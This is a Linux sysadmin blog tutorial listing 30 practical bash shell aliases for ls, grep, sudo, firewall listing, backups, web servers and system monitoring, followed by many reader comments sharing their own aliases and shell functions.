30 Handy Bash Shell Aliases For Linux / Unix / Mac OS X

last updated in Categories Linux, Shell scripting, UNIX

An bash alias is nothing but the shortcut to commands. The alias command allows the user to launch any command or group of commands (including options and filenames) by entering a single word. Use alias command to display a list of all defined aliases. You can add user-defined aliases to ~/.bashrc file. You can cut down typing time with these aliases, work smartly, and increase productivity at the command prompt.

This post shows how to create and use aliases including 30 practical examples of bash shell aliases.
30 Useful Bash Shell Aliase For Linux/Unix Users

Advertisements

More about bash shell aliases

The general syntax for the alias command for the bash shell is as follows:

How to list bash aliases

Type the following alias command:
alias
Sample outputs:

alias ..='cd ..'
alias amazonbackup='s3backup'
alias apt-get='sudo apt-get'
...

By default alias command shows a list of aliases that are defined for the current user.

How to define or create a bash shell alias

To create the alias use the following syntax:

alias name=value
alias name='command'
alias name='command arg1 arg2'
alias name='/path/to/script'
alias name='/path/to/script.pl arg1'

In this example, create the alias c for the commonly used clear command, which clears the screen, by typing the following command and then pressing the ENTER key:

alias c='clear'

Then, to clear the screen, instead of typing clear, you would only have to type the letter ‘c’ and press the [ENTER] key:

c

How to disable a bash alias temporarily

An alias can be disabled temporarily using the following syntax:

## path/to/full/command
/usr/bin/clear
## call alias with a backslash ##
\c
## use /bin/ls command and avoid ls alias ##
command ls

How to delete/remove a bash alias

You need to use the command called unalias to remove aliases. Its syntax is as follows:

unalias aliasname
unalias foo

In this example, remove the alias c which was created in an earlier example:

unalias c

You also need to delete the alias from the ~/.bashrc file using a text editor (see next section).

How to make bash shell aliases permanent

The alias c remains in effect only during the current login session. Once you logs out or reboot the system the alias c will be gone. To avoid this problem, add alias to your ~/.bashrc file, enter:

vi ~/.bashrc

The alias c for the current user can be made permanent by entering the following line:

alias c='clear'

Save and close the file. System-wide aliases (i.e. aliases for all users) can be put in the /etc/bashrc file. Please note that the alias command is built into a various shells including ksh, tcsh/csh, ash, bash and others.

A note about privileged access

You can add code as follows in ~/.bashrc:

# if user is not root, pass all commands via sudo #
if [ $UID -ne 0 ]; then
    alias reboot='sudo reboot'
    alias update='sudo apt-get upgrade'
fi

A note about os specific aliases

You can add code as follows in ~/.bashrc using the case statement:

### Get os name via uname ###
_myos="$(uname)"
 
### add alias as per os using $_myos ###
case $_myos in
   Linux) alias foo='/path/to/linux/bin/foo';;
   FreeBSD|OpenBSD) alias foo='/path/to/bsd/bin/foo' ;;
   SunOS) alias foo='/path/to/sunos/bin/foo' ;;
   *) ;;
esac

30 bash shell aliases examples

You can define various types aliases as follows to save time and increase productivity.

#1: Control ls command output

The ls command lists directory contents and you can colorize the output:

## Colorize the ls output ##
alias ls='ls --color=auto'
 
## Use a long listing format ##
alias ll='ls -la'
 
## Show hidden files ##
alias l.='ls -d .* --color=auto'

#2: Control cd command behavior

## get rid of command not found ##
alias cd..='cd ..'
 
## a quick way to get out of current directory ##
alias ..='cd ..'
alias ...='cd ../../../'
alias ....='cd ../../../../'
alias .....='cd ../../../../'
alias .4='cd ../../../../'
alias .5='cd ../../../../..'

#3: Control grep command output

grep command is a command-line utility for searching plain-text files for lines matching a regular expression:

## Colorize the grep command output for ease of use (good for log files)##
alias grep='grep --color=auto'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'

#4: Start calculator with math support

alias bc='bc -l'

#4: Generate sha1 digest

alias sha1='openssl sha1'

#5: Create parent directories on demand

mkdir command is used to create a directory:

alias mkdir='mkdir -pv'

#6: Colorize diff output

You can compare files line by line using diff and use a tool called colordiff to colorize diff output:

# install  colordiff package :)
alias diff='colordiff'

#7: Make mount command output pretty and human readable format

alias mount='mount |column -t'

#8: Command short cuts to save time

# handy short cuts #
alias h='history'
alias j='jobs -l'

#9: Create a new set of commands

alias path='echo -e ${PATH//:/\\n}'
alias now='date +"%T"'
alias nowtime=now
alias nowdate='date +"%d-%m-%Y"'

#10: Set vim as default

alias vi=vim
alias svi='sudo vi'
alias vis='vim "+set si"'
alias edit='vim'

#11: Control output of networking tool called ping

# Stop after sending count ECHO_REQUEST packets #
alias ping='ping -c 5'
# Do not wait interval 1 second, go fast #
alias fastping='ping -c 100 -s.2'

#12: Show open ports

Use netstat command to quickly list all TCP/UDP port on the server:

alias ports='netstat -tulanp'

#13: Wakeup sleeping servers

Wake-on-LAN (WOL) is an Ethernet networking standard that allows a server to be turned on by a network message. You can quickly wakeup nas devices and server using the following aliases:

## replace mac with your actual server mac address #
alias wakeupnas01='/usr/bin/wakeonlan 00:11:32:11:15:FC'
alias wakeupnas02='/usr/bin/wakeonlan 00:11:32:11:15:FD'
alias wakeupnas03='/usr/bin/wakeonlan 00:11:32:11:15:FE'

#14: Control firewall (iptables) output

Netfilter is a host-based firewall for Linux operating systems. It is included as part of the Linux distribution and it is activated by default. This post list most common iptables solutions required by a new Linux user to secure his or her Linux operating system from intruders.

## shortcut  for iptables and pass it via sudo#
alias ipt='sudo /sbin/iptables'
 
# display all rules #
alias iptlist='sudo /sbin/iptables -L -n -v --line-numbers'
alias iptlistin='sudo /sbin/iptables -L INPUT -n -v --line-numbers'
alias iptlistout='sudo /sbin/iptables -L OUTPUT -n -v --line-numbers'
alias iptlistfw='sudo /sbin/iptables -L FORWARD -n -v --line-numbers'
alias firewall=iptlist

#15: Debug web server / cdn problems with curl

# get web server headers #
alias header='curl -I'
 
# find out if remote server supports gzip / mod_deflate or not #
alias headerc='curl -I --compress'

#16: Add safety nets

# do not delete / or prompt if deleting more than 3 files at a time #
alias rm='rm -I --preserve-root'
 
# confirmation #
alias mv='mv -i'
alias cp='cp -i'
alias ln='ln -i'
 
# Parenting changing perms on / #
alias chown='chown --preserve-root'
alias chmod='chmod --preserve-root'
alias chgrp='chgrp --preserve-root'

#17: Update Debian Linux server

apt-get command is used for installing packages over the internet (ftp or http). You can also upgrade all packages in a single operations:

# distro specific  - Debian / Ubuntu and friends #
# install with apt-get
alias apt-get="sudo apt-get"
alias updatey="sudo apt-get --yes"
 
# update on one command
alias update='sudo apt-get update && sudo apt-get upgrade'

#18: Update RHEL / CentOS / Fedora Linux server

yum command is a package management tool for RHEL / CentOS / Fedora Linux and friends:

## distrp specifc RHEL/CentOS ##
alias update='yum update'
alias updatey='yum -y update'

#19: Tune sudo and su

# become root #
alias root='sudo -i'
alias su='sudo -i'

#20: Pass halt/reboot via sudo

shutdown command bring the Linux / Unix system down:

# reboot / halt / poweroff
alias reboot='sudo /sbin/reboot'
alias poweroff='sudo /sbin/poweroff'
alias halt='sudo /sbin/halt'
alias shutdown='sudo /sbin/shutdown'

#21: Control web servers

# also pass it via sudo so whoever is admin can reload it without calling you #
alias nginxreload='sudo /usr/local/nginx/sbin/nginx -s reload'
alias nginxtest='sudo /usr/local/nginx/sbin/nginx -t'
alias lightyload='sudo /etc/init.d/lighttpd reload'
alias lightytest='sudo /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf -t'
alias httpdreload='sudo /usr/sbin/apachectl -k graceful'
alias httpdtest='sudo /usr/sbin/apachectl -t && /usr/sbin/apachectl -t -D DUMP_VHOSTS'

#22: Alias into our backup stuff

# if cron fails or if you want backup on demand just run these commands #
# again pass it via sudo so whoever is in admin group can start the job #
# Backup scripts #
alias backup='sudo /home/scripts/admin/scripts/backup/wrapper.backup.sh --type local --taget /raid1/backups'
alias nasbackup='sudo /home/scripts/admin/scripts/backup/wrapper.backup.sh --type nas --target nas01'
alias s3backup='sudo /home/scripts/admin/scripts/backup/wrapper.backup.sh --type nas --target nas01 --auth /home/scripts/admin/.authdata/amazon.keys'
alias rsnapshothourly='sudo /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias rsnapshotdaily='sudo  /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys  --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias rsnapshotweekly='sudo /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys  --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias rsnapshotmonthly='sudo /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys  --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias amazonbackup=s3backup

#23: Desktop specific – play avi/mp3 files on demand

## play video files in a current directory ##
# cd ~/Download/movie-name
# playavi or vlc
alias playavi='mplayer *.avi'
alias vlc='vlc *.avi'
 
# play all music files from the current directory #
alias playwave='for i in *.wav; do mplayer "$i"; done'
alias playogg='for i in *.ogg; do mplayer "$i"; done'
alias playmp3='for i in *.mp3; do mplayer "$i"; done'
 
# play files from nas devices #
alias nplaywave='for i in /nas/multimedia/wave/*.wav; do mplayer "$i"; done'
alias nplayogg='for i in /nas/multimedia/ogg/*.ogg; do mplayer "$i"; done'
alias nplaymp3='for i in /nas/multimedia/mp3/*.mp3; do mplayer "$i"; done'
 
# shuffle mp3/ogg etc by default #
alias music='mplayer --shuffle *'

#24: Set default interfaces for sys admin related commands

vnstat is console-based network traffic monitor. dnstop is console tool to analyze DNS traffic. tcptrack and iftop commands displays information about TCP/UDP connections it sees on a network interface and display bandwidth usage on an interface by host respectively.

## All of our servers eth1 is connected to the Internets via vlan / router etc  ##
alias dnstop='dnstop -l 5  eth1'
alias vnstat='vnstat -i eth1'
alias iftop='iftop -i eth1'
alias tcpdump='tcpdump -i eth1'
alias ethtool='ethtool eth1'
 
# work on wlan0 by default #
# Only useful for laptop as all servers are without wireless interface
alias iwconfig='iwconfig wlan0'

#25: Get system memory, cpu usage, and gpu memory info quickly

## pass options to free ##
alias meminfo='free -m -l -t'
 
## get top process eating memory
alias psmem='ps auxf | sort -nr -k 4'
alias psmem10='ps auxf | sort -nr -k 4 | head -10'
 
## get top process eating cpu ##
alias pscpu='ps auxf | sort -nr -k 3'
alias pscpu10='ps auxf | sort -nr -k 3 | head -10'
 
## Get server cpu info ##
alias cpuinfo='lscpu'
 
## older system use /proc/cpuinfo ##
##alias cpuinfo='less /proc/cpuinfo' ##
 
## get GPU ram on desktop / laptop##
alias gpumeminfo='grep -i --color memory /var/log/Xorg.0.log'

#26: Control Home Router

The curl command can be used to reboot Linksys routers.

# Reboot my home Linksys WAG160N / WAG54 / WAG320 / WAG120N Router / Gateway from *nix.
alias rebootlinksys="curl -u 'admin:my-super-password' 'http://192.168.1.2/setup.cgi?todo=reboot'"
 
# Reboot tomato based Asus NT16 wireless bridge
alias reboottomato="ssh admin@192.168.1.1 /sbin/reboot"

#27 Resume wget by default

The GNU Wget is a free utility for non-interactive download of files from the Web. It supports HTTP, HTTPS, and FTP protocols, and it can resume downloads too:

## this one saved by butt so many times ##
alias wget='wget -c'

#28 Use different browser for testing website

## this one saved by butt so many times ##
alias ff4='/opt/firefox4/firefox'
alias ff13='/opt/firefox13/firefox'
alias chrome='/opt/google/chrome/chrome'
alias opera='/opt/opera/opera'
 
#default ff
alias ff=ff13
 
#my default browser
alias browser=chrome

#29: A note about ssh alias

Do not create ssh alias, instead use ~/.ssh/config OpenSSH SSH client configuration files. It offers more option. An example:

Host server10
  Hostname 1.2.3.4
  IdentityFile ~/backups/.ssh/id_dsa
  user foobar
  Port 30000
  ForwardX11Trusted yes
  TCPKeepAlive yes

You can now connect to peer1 using the following syntax:
$ ssh server10

#30: It’s your turn to share…

## set some other defaults ##
alias df='df -H'
alias du='du -ch'
 
# top is atop, just like vi is vim
alias top='atop'
 
## nfsrestart  - must be root  ##
## refresh nfs mount / cache etc for Apache ##
alias nfsrestart='sync && sleep 2 && /etc/init.d/httpd stop && umount netapp2:/exports/http && sleep 2 && mount -o rw,sync,rsize=32768,wsize=32768,intr,hard,proto=tcp,fsc natapp2:/exports /http/var/www/html &&  /etc/init.d/httpd start'
 
## Memcached server status  ##
alias mcdstats='/usr/bin/memcached-tool 10.10.27.11:11211 stats'
alias mcdshow='/usr/bin/memcached-tool 10.10.27.11:11211 display'
 
## quickly flush out memcached server ##
alias flushmcd='echo "flush_all" | nc 10.10.27.11 11211'
 
## Remove assets quickly from Akamai / Amazon cdn ##
alias cdndel='/home/scripts/admin/cdn/purge_cdn_cache --profile akamai'
alias amzcdndel='/home/scripts/admin/cdn/purge_cdn_cache --profile amazon'
 
## supply list of urls via file or stdin
alias cdnmdel='/home/scripts/admin/cdn/purge_cdn_cache --profile akamai --stdin'
alias amzcdnmdel='/home/scripts/admin/cdn/purge_cdn_cache --profile amazon --stdin'

Conclusion

This post summarizes several types of uses for *nix bash aliases:

  1. Setting default options for a command (e.g. set eth0 as default option for ethtool command via alias ethtool='ethtool eth0' ).
  2. Correcting typos (cd.. will act as cd .. via alias cd..='cd ..').
  3. Reducing the amount of typing.
  4. Setting the default path of a command that exists in several versions on a system (e.g. GNU/grep is located at /usr/local/bin/grep and Unix grep is located at /bin/grep. To use GNU grep use alias grep='/usr/local/bin/grep' ).
  5. Adding the safety nets to Unix by making commands interactive by setting default options. (e.g. rm, mv, and other commands).
  6. Compatibility by creating commands for older operating systems such as MS-DOS or other Unix like operating systems (e.g. alias del=rm ).

I’ve shared my aliases that I used over the years to reduce the need for repetitive command line typing. If you know and use any other bash/ksh/csh aliases that can reduce typing, share below in the comments.

See also

ADVERTISEMENTS

Posted by: Vivek Gite

The author is the creator of nixCraft and a seasoned sysadmin, DevOps engineer, and a trainer for the Linux operating system/Unix shell scripting. Get the latest tutorials on SysAdmin, Linux/Unix and open source topics via RSS/XML feed or weekly email newsletter.

Notable Replies

  1. Hi,

    It is my fault as I forget to add comments url in WP. You can continue discussion here. Thanks!

  2. I use this alias for cd, it does two things, 1st it allows you to type "cd ", in this case it will replace string1 in your current path with string2. 2nd it executes .cdoutrc in the original directory and .cdinrc in the new directory if they exist (and you are not root).

    # This cd executes .cdinrc (.cdoutrc) when you change in (out) of a
    # directory if EUID is not root and if the source (destination)
    # directory is a subdirectory of $HOME.
    # This tries to approximate ksh's ability to replace a component of
    # the path when two args are given.
    # pushd & popd should also be tought about .cd{in,out}rc
    # -L & -P don't work
    cd() {
      [ $EUID -ne 0 ] && {
        [ -x .cdoutrc ] && {        # see if a source teardown
          case $PWD in
          ${HOME}*)
            . .cdoutrc
            ;;
         esac
        }
      }
      case $# in
      0)
        builtin cd
        ;;
      1)
        builtin cd "$@"
        ;;
      2)
        builtin cd "${PWD%${1}*}${2}${PWD#*${1}}"
        ;;
      *)
        builtin cd "$@"
        ;;
      esac
      [ $? -eq 0 ] && {
        [ $EUID -ne 0 ] && {
          [ -x .cdinrc ] && {       # see if a destination setup
            case $PWD in
            ${HOME}*)
              . .cdinrc
              ;;
            esac
          }
        }
        # this assignment will restore $? to 0 for use with "cd xxx && yyy"
        PS1=": ${HOSTNAME%%.*}->${PWD##*/} ; "
      }
    }
  3. This little set of shell functions is very handy for converting between number bases…

    d2b() {
      [ -z "$1" ] && echo "usage: d2b decnumber" && return 1
      echo "obase=2; $1" | bc
    }
    d2h() {
      [ -z "$1" ] && echo "usage: d2h decnumber" && return 1
      echo "obase=16; $1" | bc
    }
    h2b() {
      [ -z "$1" ] && echo "usage: h2b hexnumber" && return 1
      echo "obase=2; ibase=16; " `echo $1 | tr '[a-zxX]*' '[A-Z00]'` | bc
    }
    h2d() {
      [ -z "$1" ] && echo "usage: h2d hexnumber" && return 1
      echo "ibase=16; " `echo $1 | tr '[a-zxX]*' '[A-Z00]'` | bc
    }
    b2d() {
      [ -z "$1" ] && echo "usage: b2d binnumber" && return 1
      echo "ibase=2; $1" | bc
    }
    b2h() {
      [ -z "$1" ] && echo "usage: b2h binnumber" && return 1
      echo "obase=16; ibase=2; $1" | bc
    }

Continue the discussion www.nixcraft.com

1 more reply

Participants

Historical Comment Archive

186 comment

  1. Nice list; found a couple new things I never thought of. To return the favor; my addon..

    A nice shell is key in bash imo; I color code my next line based on previous commands return code..

    bash_prompt_command()
    {
        RTN=$?
        prevCmd=$(prevCmd $RTN)
    }
    PROMPT_COMMAND=bash_prompt_command
    prevCmd()
    {
        if [ $1 == 0 ] ; then
            echo $GREEN
        else
            echo $RED
        fi
    }
    if [ $(tput colors) -gt 0 ] ; then
        RED=$(tput setaf 1)
        GREEN=$(tput setaf 2)
        RST=$(tput op)
    fi
    export PS1="[e[36m]u.h.W[e[0m][$prevCmd]>[$RST]"
    

    And I liked your .{1,2,3,4} mapping; how I integrated it…

    dotSlash=""
    for i in 1 2 3 4
    do
        dotSlash=${dotSlash}'../';
        baseName=".${i}"
        alias $baseName="cd ${dotSlash}"
    done
    

    And two random quick short ones..

    #progress bar on file copy. Useful evenlocal.
    alias cpProgress="rsync --progress -ravz"
    #I find it useful when emailing blurbs to people and want to illustrate long timeout in one pass.
    alias ping="time ping"
    1. The following is my version of the “up function” I came up with this morning:

      # Functions
      up () {
      
              COUNTER=$1
              while [[ $COUNTER -gt 0 ]]
               do
                UP="${UP}../"
                COUNTER=$(( $COUNTER -1 ))
               done
              echo "cd $UP"
              cd $UP
              UP=''
      
      }
      
  2. Show text file without comment (#) lines (Nice alias for /etc files which have tons of comments like /etc/squid.conf)

    alias nocomment='grep -Ev '''^(#|$)''''

    Usage e.g.:

    nocomment /etc/squid.conf
  3. @linuxnetzer, nocommand is nice to dump squid, httpd and many others config files.

    @mchris, I liked cp alias that can show progress.

    Appreciate your comments.

  4. Hi!
    This isn’t an alias, but for clear screen is very handy the CTRL+L xDD

    Have a nice day 😉
    TooManySecrets

  5. apt-get with limit

    alias apt-get="apt-get -o Acquire::http::Dl-Limit=15"
    

    To open last edited file

    alias lvim="vim -c "normal '0""
    
  6. Nice tricks.
    But be careful with some aliases (typically the #7 mount), since you won’t be able to use them directly when you pass arguments .

    [root@myhost ~]# alias mount=’mount |column -t’
    [root@myhost ~]# mount myserver:/share /mnt
    column: myserver:/share: No such file or directory

    It’s better to use scripts whith these kinds of commands

    1. You are very right in your appreciation. An alias is a “dumb” substitution in that it doesn’t interpret arguments.

    2. Do it this way:

      alias mountt=’mount |column -t’

      (note the double “t”) and than you can use the original mount command to do its job.

  7. Don’t forget… sl=”ls”. Though Steam Locomotive is funny for a while, this is always the easier solution.

  8. My bashrc has been with me for over a decade. I love to tinker and modify it a bunch, so I’ve added an alias I borrowed/stole/ganked from someone ages ago:

    alias='$EDITOR ~/.bashrc ; source ~/.bashrc'
    
    1. Hi esritter … I’m relatively new to Linux, so I don’t understand your alias. Can you please explain?

      1. A more explicit version of that alias (that I use) would look like:

        alias bashrc="vim ~/.bashrc && source ~/.bashrc

        Basically, it runs `source` for you once you save&exit the file. `source` picks up changes in the file.

      2. this will open ~/.bashrc in your $EDITOR (which should be set to vim/emacs something) then re-load the ~/.bashrc so your tweaks are available immediately.

  9. Nice commands!
    In case you would like to be shown the contents of a directory immediately after moving to it by cd DIRECTORY you could define the following function in .bashrc:

    cdl()    {
      cd"$@";
      ls -al;
    }
    
    You can modify the options of ls to meet your needs of course. Next time you switch directories on the command line with 'cdl DIRECTORY' it will automatically execute the command 'ls -al', displaying all subdirectories and files (hidden ones as well when setting the option -a). I hope this will be useful for someone. In case you like the alias, do not forget to change
    
    alias ..='cd ..'
    to
    
    alias ..='cdl ..'

    1. It is really useful but how do you using this on the alias line….
      like
      alias …….= ‘………………………..’

      1. I think it’s not possible, because ‘alias’ can’t accept input, just like we did with $1 here.

  10. Here are 4 commands i use for checking out disk usages.

    #Grabs the disk usage in the current directory
    alias usage='du -ch | grep total'
    
    #Gets the total disk usage on your machine
    alias totalusage='df -hl --total | grep total'
    
    #Shows the individual partition usages without the temporary memory values
    alias partusage='df -hlT --exclude-type=tmpfs --exclude-type=devtmpfs'
    
    #Gives you what is using the most space. Both directories and files. Varies on
    #current directory
    alias most='du -hsx * | sort -rh | head -10'
    
    1. Thank you all for your aliases.
      I found this one long time ago and it proved to be useful.

      # shoot the fat ducks in your current dir and sub dirs
      alias ducks=’du -ck | sort -nr | head’

    2. While it would still work, the problem with usage=’du -ch | grep total’ is that you will also get directory names that happen to also have the word ‘total’ in them.

      A better way to do this might be: ‘du -ch | tail -1’

      1. Over dinner I thought to myself “hmm, what if I want to use the total in a script?” and came up with this in mid entrée:

        du -h | awk ‘END{print $1}’

        Now you’ll just get something like: 92G

  11. I always create a ps2 command that I can easily pass a string to and look for it in the process table. I even have it remove the grep of the current line.

    alias ps2=’ps -ef | grep -v $$ | grep -i ‘

  12. Nice post. Thanks.
    @oll & Vivek: I’m sure you know this, but to leave trace of it in this page I’ll mention that, at least in Bash, you have functions as a compromise between aliases and scripts. In fact, I solved a similar situation to what is described in #7 with a function:
    I keep some files under version control, hard-linking to those files into a given folder, so I want find to ignore that folder, and I don’t want to re-think and re-check how to use prune option every time:

    function f {
    	arg_path=$1 && shift
    	find $arg_path -wholename "*/path-to-ignore/*" -prune -o $* -print
    }
    
  13. # This will move you up by one dir when pushing AltGr .
    # It will move you back when pushing AltGr Shift .
    bind ‘”…”:”pushd ..n”‘ # AltGr .
    bind ‘”÷”:”popdn”‘ # AltGr Shift .

    Hendrik

  14. One more thing to keep in mind is the difference in syntax between shells. I used to work on a system that used HP-UX and Sun Solaris, and the alias commands were different. One system used
    alias ll=’ls -l’
    and the other one (I can’t remember which was which, sorry) was
    alias ll ‘ls -l’

    Something to be aware of!

    Thanks for this article and the site, V! Keep ’em coming!

  15. I would use a function for df:
    df () {
    if [[ “$1” = “-gt” ]]; then
    x=”-h”
    shift
    x=$x” $@”
    fi
    /bin/df $x -P |column -t
    }

    That way you can put “df -k /tmp” (etc).
    … I work with AIX a lot, so often end up typing “df -gt”, so that’s why the if statement is there.

    I also changed “mount” to “mnt” for the column’s:
    alias mnt=”mount |column -t”

  16. Any alias of rm is a very stupid idea (except maybe alias rm=echo fool).

    A co-worker had such an alias. Imagine the disaster when, visiting a customer site, he did “rm *” in the customer’s work directory and all he got was the prompt for the next command after rm had done what it was told to do.

    It you want a safety net, do “alias del=’rm -I –preserve_root'”,

  17. Great post I’ve been looking for something like this I always tend to go about things the long way round. With these alias and some shell scripting I’m really starting to cut down on wasted time!

    Thanks again!

  18. I use this one when I need to find the files that has been added/modified most recently:

    alias lt=’ls -alrt’

  19. # file tree
    alias tree="find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'"
    
    #turn screen off
    alias screenoff="xset dpms force off"
    
    # list folders by size in current directory
    alias usage="du -h --max-depth=1 | sort -rh"
    
    # e.g., up -> go up 1 directory
    # up 4 -> go up 4 directories
    up()
    {
        dir=""
        if [[ $1 =~ ^[0-9]+$ ]]; then
            x=0
            while [ $x -lt ${1:-1} ]; do
                dir=${dir}../
                x=$(($x+1))
            done
        else
             dir=..
        fi
        cd "$dir";
    }
    
  20. might be a repost, oops

    # ganked these from people
    
    #not an alias, but I thought this simpler than the cd control
    #If you pass no arguments, it just goes up one directory.
    #If you pass a numeric argument it will go up that number of directories.
    #If you pass a string argument, it will look for a parent directory with that name and go up to it.
    up()
    {
        dir=""
        if [ -z "$1" ]; then
            dir=..
        elif [[ $1 =~ ^[0-9]+$ ]]; then
            x=0
            while [ $x -lt ${1:-1} ]; do
                dir=${dir}../
                x=$(($x+1))
            done
        else
            dir=${PWD%/$1/*}/$1
        fi
        cd "$dir";
    
    #turn screen off
    alias screenoff="xset dpms force off"
    
    #quick file tree
    alias filetree="find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'"
  21. a little mistake, not really important if you don’t copy/paste like a dumbass 🙂

    alias iptlistfw=’sudo /sbin/iptables -L FORWORD -n -v –line-numbers’

    it is “FORWARD”, not “FORWORD”

  22. In “Task: Disable an alias temporarily (bash syntax)”

    ## path/to/full/command

    /usr/bin/clear

    ## call alias with a backslash ##

    c ===> This should be clear right?

      1. True, but unless you have a program called ‘c’, this doesn’t do anything useful. The example doesn’t really illustrate the point. This one is better:

        ## Interactive remove
        alias rm='rm -i'
        
        ## Call the alias (interactive remove)
        rm
        
        ## Call the original command (non-interactive remove)
        rm
  23. I used it this way.
    I added myself to visudo file with nopasswd privileges.
    so that I don’t have to type password when I do “sudo su -“.
    Then created alias root=’sudo su -‘
    This enables me to log in to root with just “root”.

    by the ways the article is very helpful for everyone who works on linux servers or desktops on everyday basis.
    Regards,
    Mac Maha.

  24. I move across various *nix type OSes. I have found that it’s easiest to keep my login stuff (aliases & environment variables) in separate files as in .aliases-{OS}. E.g.:

    $HOME/.aliases-darwin
    $HOME/.aliases-linux
    

    All I have to do then in .bashrc, or .profile, whatever is do this:

    OS=$( uname | tr '[:upper:]' ':[lower:]')
    
    . $HOME/.aliases-${OS}
    . $HOME/.environment_variables-${OS}
    

    and/or

    for SCRIPT in $( ls -1 $HOME/scripts/login/*-${OS} )
    do
      . ${SCRIPT}
    done
    
  25. i have 2 more that haven’t been posted yet:

    helps with copy and pasting to and from a terminal using X and the mouse. (i chose the alias name according to what the internet said the corresponding macos commands are.)

    alias pbcopy='xsel --clipboard --input'
    alias pbpaste='xsel --clipboard --output'
    

    and something I use rather frequently when people chose funny file/directory names (sad enough):

    chr() {
      printf \$(printf '%03o' $1)
    }
    
    ord() {
      printf '%d' "'$1"
    }
    
  26. That was a great list. Here are some of mine:

    I use cdbin to cd into a bin folder that is many subdirectories deep:

    alias cdbin='cd "/mnt/shared/Dropbox/My Documents/Linux/bin/"'

    I can never remember the sync command.

    alias flush=sync

    I search the command history a lot:

    alias hg='history|grep '

    My samba share lives inside a TrueCrypt volume, so I have to manually restart samba after TC has loaded.

    alias restsmb='sudo service smb restart'

    I’m surprised that nobody else suggested these:

    alias syi='sudo yum install'
    alias sys='sudo yum search'
    
  27. I find these aliases are helpful

    alias up1="cd .."
    
    # edit multiple files split horizontally or vertically
    alias   e="vim -o "
    alias   E="vim -O "
    
    # directory-size-date (remove the echo/blank line if you desire)
    alias dsd="echo;ls -Fla"
    alias   dsdm="ls -FlAh | more"
    # show directories only
    alias   dsdd="ls -FlA | grep :*/"
    # show executables only
    alias   dsdx="ls -FlA | grep *"
    # show non-executables
    alias   dsdnx="ls -FlA | grep -v *"
    # order by date
    alias   dsdt="ls -FlAtr "
    # dsd plus sum of file sizes
    alias   dsdz="ls -Fla $1 $2 $3 $4 $5  | awk '{ print; x=x+$5 } END { print "total bytes = ",x }'"
    # only file without an extension
    alias noext='dsd | egrep -v ".|/"'
    
    # send pwd to titlebar in puttytel
    alias   ttb='echo -ne "33]0;`pwd`07"'
    # send parameter to titlebar if given, else remove certain paths from pwd
    alias   ttbx="titlebar"
    
    
    # titlebar
    if [ $# -lt 1 ]
    then
        ttb=`pwd | sed -e 's+/projects/++' -e 's+/project01/++' -e 's+/project02/++' -e 's+/export/home/++' -e 's+/home/++'`
    else
        ttb=$1
    fi
    echo -ne "33]0;`echo $ttb`07"
    
    alias machine="echo you are logged in to ... `uname -a | cut -f2 -d' '`"
    alias info='clear;machine;pwd'
    
  28. A couple you might mind useful.

    alias trace='mtr --report-wide --curses $1'
    alias killtcp='sudo ngrep -qK 1 $1 -d wlan0'
    alias usage='ifconfig wlan0 | grep 'bytes''
    alias connections='sudo lsof -n -P -i +c 15'
    
  29. to avoid some history aliases, ctrl+R and type letter of your desired command in history. When I discover ctrl+R my life changed !

  30. You should check $EUID, not $UID, because if the effective user ID isn’t 0, you aren’t root, but if the real/saved user UID is 0, you can seteuid(0) to become root.

  31. Reply to Tom (#42):

    (1) Using `hg’ for `history –grep’ is probably not a good idea if you’re ever going to work with Mercurial SCM.

    (2) Using sudo for `yum search’ is entirely pointless, you don’t need to be root to search the package cache.

  32. alias up1="cd .."
    # edit multiple files split horizontally or vertically
    alias   e="vim -o "
    alias   E="vim -O "
    # directory-size-date (remove the echo/blank line if you desire)
    alias dsd="echo;ls -Fla"
    alias   dsdm="ls -FlAh | more"
    # show directories only
    alias   dsdd="ls -FlA | grep :*/"
    # show executables only
    alias   dsdx="ls -FlA | grep *"
    # show non-executables
    alias   dsdnx="ls -FlA | grep -v *"
    # order by date
    alias   dsdt="ls -FlAtr "
    # dsd plus sum of file sizes
    alias   dsdz="ls -Fla $1 $2 $3 $4 $5  | awk '{ print; x=x+$5 } END { print "total bytes = ",x }'"
    # only file without an extension
    alias noext='dsd | egrep -v ".|/"'
    # send pwd to titlebar in puttytel
    alias   ttb='echo -ne "33]0;`pwd`07"'
    # send parameter to titlebar if given, else remove certain paths from pwd
    alias   ttbx="titlebar"
    # titlebar
    if [ $# -lt 1 ]
    then
        ttb=`pwd | sed -e 's+/projects/++' -e 's+/project01/++' -e 's+/project02/++' -e 's+/export/home/++' -e 's+/home/++'`
    else
        ttb=$1
    fi
    echo -ne "33]0;`echo $ttb`07"
    alias machine="echo you are logged in to ... `uname -a | cut -f2 -d' '`"
    alias info='clear;machine;pwd'
    
    1. I will add:

      # file tree of directories only
      alias dirtree="ls -R | grep :*/ | grep ":$" | sed -e 's/:$//' -e 's/[^-][^/]*//--/g' -e 's/^/   /' -e 's/-/|/'"
  33. I’m surprised no one has mentioned:
    alias ls=’ls -F’
    It will show * after executables, / after directories and @ after links.

  34. And for you vi(m) lovers out there, in my .bashrc:
    set -o vi

    esc j,k for searching history using vi semantics. edit line using w, dw, b, F or whatever other as if in vi. Occasionally need to watch that if in command mode, need to press i first so you can actually go back to inserting as opposed to not seeing anything as you attempt to type.
    set -o emacs
    to get back out of this mode if you want to restore it what others have used.

  35. Here are some tidbits I’ve setup to help troubleshoot things quickly

    This one pings a router quickly

    alias pr=”ping `netstat -nr| grep -m 1 -iE ‘default|0.0.0.0’ | awk ‘{print $2}’`”

    This export puts the current subnet as a variable (assuming class C) for easy pinging or nmaping

    export SN=`netstat -nr| grep -m 1 -iE ‘default|0.0.0.0’ | awk ‘{print $2}’ | sed ‘s/.[0-9]*$//’ `
